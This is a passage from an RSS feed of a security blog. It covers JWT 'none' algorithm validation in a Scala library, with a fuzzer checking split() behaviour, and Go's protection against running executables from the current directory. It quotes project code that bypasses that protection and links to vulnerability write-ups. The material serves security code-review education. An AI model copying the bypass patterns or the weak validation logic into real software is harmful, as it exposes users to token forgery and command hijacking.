<p>If you found this post helpful and want to further develop your skills, consider diving deeper into <a href="/live-training/" target="_blank">security code review training</a>. Our training equips you with the knowledge and hands-on experience to identify complex vulnerabilities in real-world codebases. Whether you're a developer, security engineer, or pentester, mastering code review can significantly enhance your ability to secure applications and find issues that automated tools often miss.</p>

<p>Thanks for reading, and happy reviewing!</p>


]]>
      </description>
      <pubDate>Wed, 20 Nov 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/jwt-algorithm-confusion-code-review-lessons</link>
      <guid>https://pentesterlab.com/blog/jwt-algorithm-confusion-code-review-lessons</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 46/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>

<p class="mb-0">Slow week, thankfully someone sent me a cool last-minute link!</p>
</div>
<div class="mb-5">



<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪲 </span>Authenticated OS Command Injection in LibreNMS</h5>
<p>An interesting chain of bugs to gain command execution in LibreNMS. You can read more details about the exploitation of <a href="https://github.com/librenms/librenms/security/advisories/GHSA-x645-6pf9-xwxw" target="_blank">CVE-2024-51092</a> in the well-written GitHub issue. Thanks S., for sharing!</p>



<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚 </span> AppSec eZine #561</h5>
<p>AppSec eZine returns with its latest edition. Check out <a href="https://pathonproject.com/zb/?756670f979e293ef#6n49+x3531dorrnnXAzLbtJwModRKJ4ejRtwircfddA=" target="_blank">issue #561</a>.</p>

<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>




]]>
      </description>
      <pubDate>Sun, 17 Nov 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week46-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week46-2024</guid>
    </item>
    <item>
      <title>How split() Can Prevent None Exploitation in JWT Validation</title>
      <description>
        <![CDATA[<p>When doing security code review, you sometimes come across infuriating code—code that appears to be vulnerable but isn't, due to unexpected side effects.</p>

<p>I recently came across such an example in the Scala library <a href="https://github.com/jasongoodwin/authentikat-jwt">jasongoodwin/authentikat-jwt/</a>.  The library supports the <code>None</code> algorithm by default. At least, that's what it seems from the <code>apply</code> methods:


<pre><code>
object JsonWebSignature {
  […]
  def apply(algorithm: String, data: String, key: String): Array[Byte] = {
    algorithm match {
      case "HS256" ⇒ apply(HS256, data, key)
      case "HS384" ⇒ apply(HS384, data, key)
      case "HS512" ⇒ apply(HS512, data, key)
      case "none"  ⇒ apply(NONE, data, key)
      case x       ⇒ throw new UnsupportedOperationException(x + " is an unknown or unimplemented JWT algo key")
    }
  }

  def apply(algorithm: Algorithm, data: String, key: String = null): Array[Byte] = {
    algorithm match {
      case HS256 ⇒ HmacSha("HmacSHA256", data, key)
      case HS384 ⇒ HmacSha("HmacSHA384", data, key)
      case HS512 ⇒ HmacSha("HmacSHA512", data, key)
      case NONE  ⇒ Array.empty[Byte]
      case x     ⇒ throw new UnsupportedOperationException(x + " is an unknown or unimplemented JWT algo key")
    }
  }
</code></pre>

<p>The following code is then used to verify if a token is valid:</p>

<pre><code>
  def validate(jwt: String, key: String): Boolean = {

    import org.json4s.DefaultFormats
    implicit val formats = DefaultFormats

    jwt.split("\\.") match {
      case Array(providedHeader, providedClaims, providedSignature) ⇒

        val headerJsonString = new String(decodeBase64(providedHeader), "UTF-8")
        val header = JwtHeader.fromJsonStringOpt(headerJsonString).getOrElse(JwtHeader(None, None, None))

        val signature = encodeBase64URLSafeString(
          JsonWebSignature(header.algorithm.getOrElse("none"), providedHeader + "." + providedClaims, key))

        java.security.MessageDigest.isEqual(providedSignature.getBytes(), signature.getBytes())
      case _ ⇒
        false
    }
  }
</code></pre>


<p>The code splits the token based on the dot (<code>.</code>), retrieves the algorithm from the header and use it to compute a signature <code>signature</code>. It then compares this <code>signature</code> with <code>providedSignature</code>. If the values match, the token is valid. The comparison uses a time-constant check by leveraging <code>java.security.MessageDigest.isEqual()</code>.</p>

<p>At first glance, you might think, "This is definitely vulnerable to <code>None</code> algorithm attacks!" And you'd be right to suspect it. But as with many things in security code review, the devil is in the details.</p>

<p>If we look into it in more details:</p>
<pre><code>    jwt.split("\\.") match {
      case Array(providedHeader, providedClaims, providedSignature) ⇒</code></pre>

<p>Here, the code ensures there are exactly three parts when it splits the string, thanks to the line <code>case Array(providedHeader, providedClaims, providedSignature)</code>. 

<p>If the split doesn't result in exactly three parts, the code returns <code>false</code>:</p>
 <pre><code>      case _ ⇒
        false</code></pre>


<p>Now there is the catch! A call to <code>split(String regex)</code> is the equivalent to calling <code>split(String regex, 0)</code>, which has the following behavior according to the documentation:</p>

<blockquote>public String[] split(String regex)<br/>
Splits this string around matches of the given regular expression.<br/>
This method works as if by invoking the two-argument split method with the given expression and a limit argument of zero. <b>Trailing empty strings are therefore not included in the resulting array.</b></blockquote>


<p>And the documentation of <code>public String[] split(String regex,  int limit)</code> confirms it:  

<blockquote>If the limit is zero then the pattern will be applied as many times as possible, the array can have any length, and <b>trailing empty strings will be discarded</b>.</blockquote>

<p>Basically, we need an empty string for the <code>None</code> algorithm but <code>split()</code>  will never return an empty string.<p>

<p>It’s one thing to read the documentation, but another to trust it. To verify this behavior, we can quickly use a bit of fuzzing to check if the expected behavior holds:</p>  

<pre><code>import java.util.ArrayList;
import java.util.List;

public class DotFuzzer {
    private static final String BASE = "a.b.FUZZ";
    private static final int MAX_LENGTH = 4;

    public static void main(String[] args) {
        fuzz(BASE, 0, "");
    }

    private static void fuzz(String base, int length, String replacement) {
        // Stop recursion if the replacement string exceeds MAX_LENGTH
        if (length > MAX_LENGTH) return;

        // Replace "FUZZ" in the base string with the current replacement
        String testString = base.replace("FUZZ", replacement);

        // Split the result by dots
        String[] parts = testString.split("\\.");

        // Check if it meets the criteria: exactly 3 parts and the last part is empty
        if (parts.length == 3 && parts[2].isEmpty()) {
            System.out.println("Success with replacement: " + replacement);
            return;
        }

        // Loop through all byte values from 0x00 to 0xFF and recursively generate more characters
        for (int i = 0; i <= 0xFF; i++) {
            char currentChar = (char) i;
            fuzz(base, length + 1, replacement + currentChar);
        }
    }
}</code></pre>

<p>And fortunately for the developer, it seems like we cannot have an empty trailing string and three parts.</p>

<p>A common recommendation for JWT parsing is usually to split based on the dot (<code>.</code>) to get exactly three parts using <code>split(..., 3)</code>. Applying this recommendation to this codebase will actually <b>make</b> the code vulnerable.</b>


<p>Understanding the intricacies of string handling in JWT validation is essential for effective security code reviews. This example highlights the importance of scrutinizing assumptions about code behavior and emphasizes that even well-intentioned improvements can introduce vulnerabilities.</p>
]]>
      </description>
      <pubDate>Wed, 13 Nov 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/split-prevent-none-exploitation-jwt</link>
      <guid>https://pentesterlab.com/blog/split-prevent-none-exploitation-jwt</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 45/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>

<p class="mb-0">This week has been crazy with a lot of excellent content that should keep you busy for a while! Crypto, Sandboxes, WAF Bypasses...</p>
</div>
<div class="mb-5">



<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔒 </span>Upcoming hardening in PHP</h5>
<p>With so many websites running on PHP, it’s good that people are working on making PHP itself a harder target! You can find a list of the upcoming and recent improvements in this post: <a href="https://dustri.org/b/upcoming-hardening-in-php.html" target="_blank">Upcoming hardening in PHP</a>. From heap hardening to limiting the number of PHP filters, these updates bring a lot of great changes to make PHP more secure.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">🔐 </span>Known Attacks on Elliptic Curve Cryptography</h5>
<p>All the Elliptic Curve attacks in one place! A well-detailed and comprehensive list of everything you need to know about <a href="https://github.com/elikaski/ECC_Attacks" target="_blank">Elliptic Curve attacks</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">🛡️ </span>When WAFs Go Awry: Common Detection & Evasion Techniques for Web Application Firewalls</h5>
<p>It starts a bit slow but then it goes to the next level with actual detailed case studies on real bypasses, an excellent article from the MDSec Research team. <a href="https://www.mdsec.co.uk/2024/10/when-wafs-go-awry-common-detection-evasion-techniques-for-web-application-firewalls/" target="_blank">When WAFs Go Awry</a>. Keep that one handy for your next encounter with a WAF.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">🖥️ </span>A New Era of macOS Sandbox Escapes: Diving into an Overlooked Attack Surface and Uncovering 10+ New Vulnerabilities</h5>
<p>Everything you didn’t know you wanted to know about macOS sandbox escapes with exploit and demos. A lot of super interesting details: <a href="https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/" target="_blank">A New Era of macOS Sandbox Escapes</a></p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📂 </span>Path traversal via crafted Git repositories</h5>
<p>Joernchen strikes again! This time with a directory traversal in the Jujutsu version control system: <a href="https://github.com/martinvonz/jj/security/advisories/GHSA-88h5-6w7m-5w56" target="_blank">CVE-2024-51990</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">🧩 </span>ssl/shortboost</h5>
<p>If you love Unicode, you are going to love this GitHub repository: <a href="https://github.com/ssl/shortboost" target="_blank">ssl/shortboost</a></p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">🤖 </span>From Naptime to Big Sleep: Using Large Language Models To Catch Vulnerabilities In Real-World Code</h5>
<p>AI finding bugs? Project Zero details how their Big Sleep agent found an <a href="https://googleprojectzero.blogspot.com/2024/10/from-naptime-to-big-sleep.html" target="_blank">exploitable stack buffer underflow in SQLite</a>.</p>



<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 10 Nov 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week45-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week45-2024</guid>
    </item>
    <item>
      <title>Mitigating Risks of Command Execution in Compromised Directories</title>
      <description>
        <![CDATA[<p>A notable threat in application security arises when applications execute commands within directories that may be under an attacker's influence. It's important to note that Windows systems are particularly susceptible to this threat, as the current directory is included in the <code>%PATH%</code> environment variable. This means that when executing commands, Windows may unintentionally allow executables from the current directory to run, potentially leading to malicious actions if an attacker has placed harmful files there. In contrast, Unix-based systems typically do not include the current directory in the default executable search path, reducing the risk of executing unintended commands.</p>

<p>A prime example of this vulnerability is the case of <a href="https://github.com/git-bug/git-bug" target="_blank"><strong>git-bug</strong></a>, which was impacted by <a href="https://github.com/git-bug/git-bug/security/advisories/GHSA-m898-h4pm-pqfr" target="_blank">CVE-2021-28955</a>. To address this, the developers implemented a fix using the <a href="https://pkg.go.dev/golang.org/x/sys/execabs" target="_blank"><code>execabs</code></a> library to mitigate the risk of executing commands in insecure environments.</p>

<p>In 2022, with the commit <a href="https://go.googlesource.com/go/+/3ce203db80cd1f320f0c597123b918c3b3bb0449" target="_blank">3ce203db80cd1f320f0c597123b918c3b3bb0449</a>, the Go programming language adopted similar protective measures by default when executing commands. This change is significant as it enhances the security posture of applications built with Go. To illustrate the impact of this change, we can compare the behavior of Go versions 1.18 and 1.19 when running the following code:</p>

<pre><code>package main

import (
  "fmt"
  "os"
  "os/exec"
)

func main() {
  currentPath := os.Getenv("PATH")

  newPath := fmt.Sprintf(".:%s", currentPath)
  os.Setenv("PATH", newPath)

  cmd := exec.Command("foo")

  cmd.Stdout = os.Stdout
  cmd.Stderr = os.Stderr

  if err := cmd.Run(); err != nil {
    fmt.Printf("Command failed with error: %v\n", err)
    if exitError, ok := err.(*exec.ExitError); ok {
      fmt.Printf("Exit code: %d\n", exitError.ExitCode())
      os.Exit(exitError.ExitCode())
    } else {
      os.Exit(1) // Exit with generic failure if error type is unknown
    }
  } else {
    fmt.Println("Command executed successfully.")
    os.Exit(0) // Success exit code
  }
}</code></pre>

<p>With Go 1.18, we get the following:</p>
<pre><code>FOO
Command executed successfully.</code></pre>

<p>With Go 1.19, we get the following:</p>
<pre><code>Command failed with error: exec: "foo": cannot run executable found relative to current directory</code></pre>

<p>Despite this improvement, developers occasionally need to run commands in the current directory, leading to potential bypasses of the new security mechanism. For instance, we can see examples of such bypasses in:</p>

<ol>
    <li><a href="https://github.com/navidrome/navidrome/" target="_blank"><strong>Navidrome</strong></a>: 
        <pre><code>ffmpegPath, ffmpegErr = exec.LookPath("ffmpeg")
if errors.Is(ffmpegErr, exec.ErrDot) {
    log.Trace("ffmpeg found in current folder '.'")
    ffmpegPath, ffmpegErr = exec.LookPath("./ffmpeg")
}</code></pre>
      <p>By replacing <code>"ffmpeg"</code> with <code>"./ffmpeg"</code>, the code ignores the protection.</p>
    </li>
    <li><a href="https://github.com/authelia/authelia" target="_blank"><strong>Authelia</strong></a>: 
        <pre><code>cmd := exec.Command(name, args...)
if errors.Is(cmd.Err, exec.ErrDot) {
  cmd.Err = nil
}</code></pre>
      <p>By setting <code>cmd.Err</code> to <code>nil</code>, the code ignores the error.</p>
    </li>
</ol>


<p>While these examples demonstrate developers circumventing the protective measures, it's essential to recognize the benefits of the Go team's initiative. The introduction of these protections by default represents a significant improvement in application security.</p>

<p>This development embodies the principle of <strong>"MAKE SECURE THE DEFAULT AND INSECURE OBVIOUS."</strong> It highlights that while vulnerabilities may still be exploited through workarounds, the standard enforcement of security practices makes it clearer when developers choose to bypass these safeguards.</p>

]]>
      </description>
      <pubDate>Thu, 07 Nov 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/mitigating-risks-of-command-execution-in-compromised-directories</link>
      <guid>https://pentesterlab.com/blog/mitigating-risks-of-command-execution-in-compromised-directories</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 44/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>

<p class="mb-0">This week, we’re excited to share a list of must-read research! It’s been a quiet but exciting week for Ruby hackers!</p>
</div>
<div class="mb-5">





<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">❤️  </span> A new Ruby Gadget</h5>
<p>Exciting news for Ruby Hackers with the publication of a <a href="https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/commit/8c66d0e31d000bb07ac5a50c575cf0ffec510bba" target="_blank"> New Ruby Gadget</a>.</p>



<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚 </span> AppSec eZine #559</h5>
<p>AppSec eZine returns with its latest edition. Check out <a href="https://pathonproject.com/zb/?ef9cc020c36b1504#2YXxVxswIHeNGCc2eHDeWh4sJcNfFPdXrfagW6ChKZ4=" target="_blank">issue #559</a>.</p>

<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 03 Nov 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week44-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week44-2024</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 43/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>

<p class="mb-0">This week, we’re excited to share a list of must-read research! These are some of the most fascinating findings we’ve come across in the past week, so don’t miss out—check them out!</p>
</div>
<div class="mb-5">





<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">❤️  </span> SQL Injection Polyglots</h5>
<p>A great article from my good friend Luke on <a href="https://nastystereo.com/security/sqli-polyglots.html" target="_blank"> SQL Injection Polyglots</a>. A bit of historical content and some new polyglots for MySQL and SQLite3.</p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔓 </span> SELinux bypasses</h5>
<p>What is SE Linux and how can you bypass it when dealing with Android kernel exploitation, a really detailed writeup: <a href="https://klecko.github.io/posts/selinux-bypasses/" target="_blank">SELinux bypasses</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛡️ </span> A deep dive into Linux’s new mseal syscall</h5>
<p>A new syscall  tailored specifically for exploit mitigation? Make sure you read more about <code>mseal</code> in this article from Trail-of-Bits: <a href="https://blog.trailofbits.com/2024/10/25/a-deep-dive-into-linuxs-new-mseal-syscall/"  target="_blank">A deep dive into Linux’s new mseal syscall</a>.</p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">💻 </span>Bench Press: Leaking Text Nodes with CSS</h5>
<p>Is it possible to leak the entire content of an HTML text node only using CSS? Learn more by reading the walkthrough (by the challenge's author) for this CTF challenge: <a href="https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/"  target="_blank">Bench Press: Leaking Text Nodes with CSS</a>.</p>


 
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪲  </span> Private key extraction over ECDH</h5>
<p>IANAC (I Am Not A Cryptographer), but I'm a sucker for a good vulnerability write-up, make sure you read this one: <a href="https://github.com/cryptocoinjs/secp256k1-node/security/advisories/GHSA-584q-6j8j-r5pm" target="_blank">Private key extraction over ECDH</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚 </span> AppSec eZine #558</h5>
<p>AppSec eZine returns with the latest edition—check out <a href="https://pathonproject.com/zb/?f185d82c08ec432e#5QCvnY3dB++eI8gpOMrUlc0A/ODNZAc+XY9g1IsNPQ4=" target="_blank">issue #558</a>.</p>

<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 27 Oct 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week43-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week43-2024</guid>
    </item>
    <item>
      <title>The Diminishing Value of Secure Coding Training</title>
      <description>
        <![CDATA[           <div>
              <p class="mb-0">In the early days of software development, secure coding was indispensable in safeguarding applications against common security threats. Developers had to manually handle tasks like input validation, authentication, and data encryption, making secure coding an essential skill set. However, the landscape has evolved significantly, with modern frameworks and languages now providing built-in security features that automatically address many of these concerns. As a result, the traditional secure coding practices, once critical, are no longer as valuable as they used to be.</p>
            </div>
              <h5 class="fw-bold my-3">The Rise of Secure Frameworks</h5>
              <p>Modern development frameworks have significantly reduced the burden on developers to manually implement security features. For instance, frameworks like Ruby on Rails, Django, and ASP.NET Core come with built-in protections against SQL injection, cross-site scripting (XSS), and other common vulnerabilities. These frameworks enforce secure defaults and offer libraries that abstract away much of the complexity involved in implementing security measures.</p>

              <p>As a result, developers can now focus more on building functionality rather than worrying about every possible security pitfall. This shift has led to a decrease in the prevalence of many types of vulnerabilities that were once common, such as those involving improper input validation or session management. While secure coding is still important, the reality is that many of the issues it was designed to address are now automatically handled by the frameworks developers use.</p>

              <h5 class="fw-bold my-3">The Increasing Subtlety of Security Vulnerabilities</h5>
              <p>With the rise of secure frameworks, the types of vulnerabilities that are now uncovered by security code reviewers have become more subtle and complex. These issues often involve intricate logic flaws, unexpected interactions between components, or edge cases that fall outside the typical scenarios addressed by secure coding practices.</p>

              <p>For example, a secure coding course might teach developers how to properly sanitize user inputs to prevent SQL injection. However, a modern code review might uncover a vulnerability in how a custom serialization function interacts with a third-party library, leading to a potential remote code execution flaw—an issue far more subtle and context-dependent than what is typically covered in secure coding training.</p>

              <p>As such, the focus in security has shifted from addressing well-known, easily preventable issues to identifying these more nuanced vulnerabilities that arise from the complexity of modern software systems. This is where security code review training becomes invaluable. It teaches security professionals and developers alike to think critically about the code they are reviewing, to understand the context in which it operates, and to identify the subtle issues that automated tools and secure coding practices might miss.</p>

              <h5 class="fw-bold my-3">Conclusion</h5>
              <p>While secure coding remains a foundational skill, its value has diminished as modern frameworks increasingly take care of the common security issues it addresses. The real challenge in today’s security landscape lies in uncovering the more subtle, complex vulnerabilities that these frameworks do not automatically mitigate. Security code review training, therefore, has become more crucial than ever, equipping professionals with the skills to detect and address these advanced threats. In an era where the nature of security vulnerabilities is evolving, the focus must shift from basic secure coding to the more sophisticated analysis provided by security code review.</p>
]]>
      </description>
      <pubDate>Thu, 24 Oct 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/diminishing-value-secure-coding-training</link>
      <guid>https://pentesterlab.com/blog/diminishing-value-secure-coding-training</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 42/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>

<p class="mb-0">This week, we’re excited to share a list of must-read research! These are some of the most fascinating findings we’ve come across in the past week, so don’t miss out—check them out!</p>
</div>
<div class="mb-5">

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">❤️  </span> Finding Vulnerability Variants at Scale</h5>
<p>A great example of how to turn one bug into a swarm of bugs, make sure you read: <a href="https://blackwinghq.com/blog/posts/finding-vulnerability-variants-at-scale/" target="_blank"> Finding Vulnerability Variants at Scale</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪲  </span> Hacking 700 Million Electronic Arts Accounts</h5>
<p>A great write-up on hacking APIs: <a href="https://battleda.sh/blog/ea-account-takeover" target="_blank">Hacking 700 Million Electronic Arts Accounts</a>.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚 </span> AppSec eZine #557</h5>
<p>AppSec eZine returns with the latest edition—check out <a href="https://pathonproject.com/zb/?c4aa31dd44fc51ba#4Vydu88Mr2yXsg2U/7h8sdh2o5D/pZkCIo4MFuW+c+g=" target="_blank">issue #557</a>.</p>





          </div>



]]>
      </description>
      <pubDate>Mon, 21 Oct 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week42-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week42-2024</guid>
    </item>
    <item>
      <title>Mastering Hacking Through Deliberate Practice</title>
      <description>
        <![CDATA[  <div>
     <p class="mb-0">
      In many sports and activities, deliberate practice is the key to improvement. Chess masters break down their training into openings, middle games, and endgames, while swimmers focus on drills to refine their technique, build strength, and increase endurance. These athletes focus on specific aspects of their craft to elevate their performance. Hacking is no different—it requires deliberate practice to sharpen skills and improve efficiency.</p><br/>
     <p class="mb-0">But what kind of activities can hackers practice to get better? Let’s explore a few essential ways to hone your hacking skills.</p>
  </div>
<h5 class="fw-bold my-3">Do Labs!</h5>
<p>Labs are a crucial part of improving as a hacker. They not only teach new skills but also help you enhance two key areas:</p>

<ul>
  <li><strong>Speed</strong>: The faster you can test or exploit something, the more time you have to explore deeper, find additional vulnerabilities, or pivot your attack strategy.</li>
  <li><strong>Accuracy</strong>: Often, bugs are missed due to small typos or errors. Consistent lab practice improves your ability to avoid these mistakes and, equally important, sharpens your skill at quickly recognizing and debugging them. A big part of hacking involves troubleshooting why a payload isn't working—labs give you the space to refine this process.</li>
</ul>

<p>Want to get started? You can explore our labs here: <a href="/exercises" target="_blank">PentesterLab exercises</a>.</p>

<h5 class="fw-bold my-3">Play CTFs</h5>
<p>Capture The Flag (CTF) competitions are another fantastic way to improve your hacking skills. Good CTF challenges often mirror real-world vulnerabilities, helping you learn new techniques and gain practical experience. Like labs, CTFs are a great way to improve your speed and accuracy. Focus on solving a few challenges deeply rather than bouncing between tasks without completing them. This will build persistence and critical thinking.</p>

<h5 class="fw-bold my-3">CVE Analysis</h5>
<p>CVE analysis is an essential practice for anyone looking to improve their vulnerability research. By reviewing Common Vulnerabilities and Exposures (CVEs), you gain insights into how vulnerabilities are discovered, reported, and patched. This kind of analysis can help you develop a more refined understanding of threat modeling and the kinds of mistakes developers make, improving your ability to spot similar issues in the future.</p>

<h5 class="fw-bold my-3">Read Code</h5>
<p>One of the best ways to improve as a hacker is to read code—lots of it. Whether you’re hunting for vulnerabilities or simply trying to understand how different applications work, reading code gives you a deeper understanding of the logic and structure behind software. Even if you aren’t actively searching for bugs, this practice will help you uncover vulnerabilities that you wouldn’t otherwise think to look for.</p>

<h5 class="fw-bold my-3">Write Code</h5>
<p>Writing code is just as valuable as reading it. When you write software, you begin to understand the types of mistakes developers often make and the shortcuts they take. You’ll also improve your ability to automate tasks, which will help you achieve more in less time. Plus, a well-written script doesn’t make typos, which adds a level of accuracy that’s invaluable in hacking.</p>

<h5 class="fw-bold my-3">Build Test Environments</h5>
<p>To get better at breaking things, you need to build them first. Setting up test environments will give you insight into the security implications of different configurations and deployment strategies. By experimenting with your own setups, you’ll learn which shortcuts or mistakes can lead to vulnerabilities—knowledge that will make you a better hacker when assessing real-world systems.</p>

<h5 class="fw-bold my-3">Conclusion</h5>
<p>Improving as a hacker, much like excelling in sports, requires consistent and deliberate practice. Whether you're working through labs, playing CTFs, analyzing CVEs, or writing and reading code, the key is to practice with intention. By refining your speed, accuracy, and understanding, you’ll not only improve your skills but also position yourself to uncover deeper, more critical vulnerabilities.</p>
]]>
      </description>
      <pubDate>Fri, 18 Oct 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/mastering-hacking-skills</link>
      <guid>https://pentesterlab.com/blog/mastering-hacking-skills</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 41/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>

<p class="mb-0">This week, we’re excited to share a list of must-read research! These are some of the most fascinating findings we’ve come across in the past week, so don’t miss out—check them out!</p>
</div>
<div class="mb-5">

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">❤️  </span> Why Code Security Matters - Even in Hardened Environments</h5>
<p>I (Louis) was lucky enough to watch this talk at Hexacon, it really opened a whole area for new research in my head, make sure you check it out: <a href="https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/" target="_blank"> Why Code Security Matters - Even in Hardened Environments</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">☢️  </span> Class Pollution in Ruby: A Deep Dive into Exploiting Recursive Merges</h5>
<p>I really like this kind of content, providing a lot of tiny details on one subject, this time on HTTP Parameter Pollution: <a href="https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html" target="_blank">Class Pollution in Ruby: A Deep Dive into Exploiting Recursive Merges</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪲  </span> Grav</h5>
<p>A great write-up (with code review) of a few vulnerabilities in Grav: <a href="https://tantosec.com/blog/grav/" target="_blank">Grav</a> from the team at Tanto Security.</p>

<h5 class="fw-bold mt-5 position-relative"><span class="topic-emoji">📚 </span> AppSec eZine #556</h5>
<p>AppSec eZine returns with the latest edition—check out <a href="https://pathonproject.com/zb/?5dfff3ec6c6ec7e3#tMGgX63xKBzBjd6Ht1Mx9AnYcXX1UIWuEBEDe1qCstI=" target="_blank">issue #556</a>.</p>





          </div>



]]>
      </description>
      <pubDate>Tue, 15 Oct 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week41-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week41-2024</guid>
    </item>
    <item>
      <title>The Value of Code Reviews Without Bugs</title>
      <description>
        <![CDATA[           <div>
              <p class="mb-0">In the world of application security and code review, there’s a misconception that the success of a review is measured solely by the bugs you find. If you come away empty-handed, some might see that time as wasted. But the reality is quite the opposite: every code review, even those where no vulnerabilities are uncovered, serves as a valuable learning experience. The time spent reading through secure, well-implemented code builds expertise, accelerates future reviews, and, most importantly, creates a baseline to compare against less secure codebases.</p>

            </div>
<h5 class="fw-bold my-3">Learning What "Good" Code Looks Like</h5>
<p>At its core, security code review isn’t just about finding flaws. It’s about understanding the code and the context in which it operates. Each time you audit code and come away without finding a bug, you’re reinforcing your understanding of what a secure implementation looks like. You learn to recognize patterns of safe coding practices, from proper input sanitization to secure authentication mechanisms and thoughtful error handling.</p>
<p>This process helps you develop a mental map of secure coding practices across various languages and frameworks. Whether it's a robust use of encryption APIs in Java or correctly implemented CSRF protection in Rails, each review adds to your repository of knowledge. Over time, you can recognize subtle deviations from these standards more quickly. You’ll have a clearer idea of what’s “normal” or “good” in any given context, making outliers—and potential vulnerabilities—stand out more prominently.</p>

<h5 class="fw-bold my-3">Playing "Spot the Differences": Building a Baseline for Future Reviews</h5>
